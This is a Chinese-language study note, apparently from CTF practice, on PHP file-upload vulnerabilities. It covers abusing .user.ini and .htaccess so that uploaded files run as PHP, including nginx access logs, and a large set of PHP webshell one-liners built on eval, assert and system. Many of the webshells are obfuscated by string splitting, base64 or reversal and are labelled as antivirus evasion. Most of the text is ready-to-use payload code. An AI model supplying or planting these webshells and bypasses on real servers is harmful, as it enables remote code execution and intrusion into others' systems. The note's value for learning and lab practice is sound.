知识点
- 文件上传是指提交一个文件上传至服务器。在这个页面中可能有各种表单和submit按钮,最终的效果就是一个文件被上传至了服务器端。
user.ini配置文件可控导致的文件上传漏洞
- 当前目录里面有php文件的时候,可以运用ini配置文件进行配置这个php文件
- 文件包含配置项有auto_append_file和auto_pretend_file
auto_append_file=1.txt //保存为user.ini,记得抓包时文件名是.user.ini
1.先上传这个user.ini文件,发现上传成功。
2.然后本来不能上传规定外的文件,现在就可以上传了
3.这个1.txt里面就是一句话木马
<?php @eval($_POST[1]);?>
4.这个1.txt木马就被自动包含进原来目录里的php文件了(一般是index.php)
- 如果会过滤,那就想办法绕过,先一个一个试过滤的是什么东西,然后针对这个来绕过
session文件导致的文件上传漏洞
.htaccess文件导致的文件上传漏洞
什么是htaccess文件
简介
.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。
.htaccess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。
Eg:.htaccess 中有 # 单行注释符, 且支持 \拼接上下两行。(注意后面这个东西很重要)
在绕过文件上传的限制中,在Apache全局配置文件中httpd.conf有这样一条配置
AddType application/x-httpd-php .php .phtml .php5 .pht .phps
这里配置的意思就是将以.php .phtml .php5 .pht .phps为后缀的文件按php文件进行解析。
AddType application/x-httpd-php (.jpg)
//将所有文件按照php文件进行解析(将jpg文件按照php文件进行解析)
上传一个.htaccess文件
内容如下
<FilesMatch "a.png">
SetHandler application/x-httpd-php
然后就可以上传image/png
服务器会按php文件进行解析
绕过方法
日志包含
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
<?php system('nl ../f*')?> //日志包含绕过
php伪协议
assert函数
和eval函数是一样的功能,而且支持可变函数变成assert函数
可变函数就是
<?php
$a="assert";
$a($_POST[1]);
//assert($_POST[1]);
?>
拆分拼接:
<?php
$arr=explode("," "a,s,d,f,s,d,e,k,r,t");//把字符串打散为数组,以,为分割
$paylode=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//拼接成字符串
$paylode($_POST[1]);
//assert($_POST[1]);
?>
编码
<?php
$a=base64_decode("YXNzZXJ0");
$a($_POST[1]);
?>
php标签
<script language="php"> eval($_POST[1]) </script>
<? /*程序操作*/ ?>
<?
echo '1111';
?>//前提是开启配置参数short_open_tags=on
<?=/*函数*/?>
<?=$a?>
<?=(表达式)?>
就相当于
<?php echo $a?>
<?php echo (表达式)?>
<% /*程序操作*/ %>
<%
echo '1111';
%>
其他绕过或者免杀
<?= eval(array_pop($_REQUEST))?> //绕过{} [] ; php ()
<?php
$_REQUEST[X]($_REQUEST[Y]);
//传入X=assert$Y=1
?>
<?= assert(array_pop($_REQUEST))?> //绕过{} [] ; php ()
//直接提交请求就可,任何参数都能提交
免杀:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$poc="s#y#s#t#e#m";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_REQUEST['1']);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>